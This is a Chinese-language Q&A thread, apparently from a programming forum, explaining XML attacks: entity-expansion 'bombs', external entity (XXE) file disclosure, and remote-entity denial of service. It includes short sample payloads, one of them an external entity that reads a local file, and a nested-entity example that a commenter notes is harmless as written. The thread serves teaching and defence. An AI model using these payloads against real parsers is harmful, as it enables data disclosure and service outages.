【发布时间】:2009-12-15 11:51:34
【问题描述】:
xml 一直是面向服务的应用程序 (SOA) 的支柱,在未来它将是一个有用的。
由于 xml 简单、灵活,它很容易变得容易受到攻击,攻击者可以将其用于自己的目的。
因此,其中的一些攻击是强制解析攻击、xml 外部实体(XEE)攻击、xml dos(xdos)攻击、xml 炸弹。
谁能详细介绍一下这些攻击。
如何在单个系统中实际模拟这些攻击?
【问题讨论】:
xml 一直是面向服务的应用程序 (SOA) 的支柱,在未来它将是一个有用的。
由于 xml 简单、灵活,它很容易变得容易受到攻击,攻击者可以将其用于自己的目的。
因此,其中的一些攻击是强制解析攻击、xml 外部实体(XEE)攻击、xml dos(xdos)攻击、xml 炸弹。
谁能详细介绍一下这些攻击。
如何在单个系统中实际模拟这些攻击?
【问题讨论】:
首先我们需要区分攻击的效果和被利用的特征。
可以利用的 XML 的特定功能是
效果可以是任意一种
我认为“炸弹”没有准确的定义,但它指的是一种特别“紧凑”且“扩展”的攻击。 “强制解析攻击”利用 XML 模型的特性来压倒解析器。
以下示例取自XML Denial of Service Attacks and Defenses。 另外,如果你懂法语,请阅读优秀杂志“La security des web services”。
示例 1
使用实体的炸弹会导致 DOS,因为它会耗尽内存
<?xml version="1.0"?>
<!DOCTYPE kaboom [
<!ENTITY a "aaaaaaaaaaaaaaaaaa...">
]>
<kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>
如果您有 50'000 个 "aaaa...aaa" 和 50'0000 个 &a:&a;...&a;,则 200KB 的有效负载会扩展到超过 2GB 的内存
示例 2
一个实体可以被用来以未经授权的方式访问另一个文件。这会导致信息泄露。
<?xml version="1.0"?>
<!DOCTYPE letter [
<!ENTITY file SYSTEM "/sensitive.txt" >
]>
<tag> &file; </tag>
示例 3
使用某些解析器访问远程资源的能力(请参阅http://www.ibm.com/developerworks/xml/library/x-tipgentity.html),现在看看如果文件bigfile.xml 为 2GB 会发生什么。这可能会导致 DOS。
<?xml version="1.0"?>
<!DOCTYPE letter [
<!ENTITY file SYSTEM "http://www.mysite.com/bigfile.xml" >
]>
<tag> &file; </tag>
示例 4
这种递归会导致内存耗尽,并且可能会导致 DOS。
<!ENTITY companyname "Contoso Inc.">
<!ENTITY divisionname "&companyname; Web Products Division">
如果这是功课,那么您还应该考虑如何保护自己免受此类攻击。
【讨论】:
&companyname; 将扩展为“Contoso Inc.”。和&divisionname; 将扩展为“Contoso Inc. Web Products Division”。我看不出这两种方法会如何导致问题。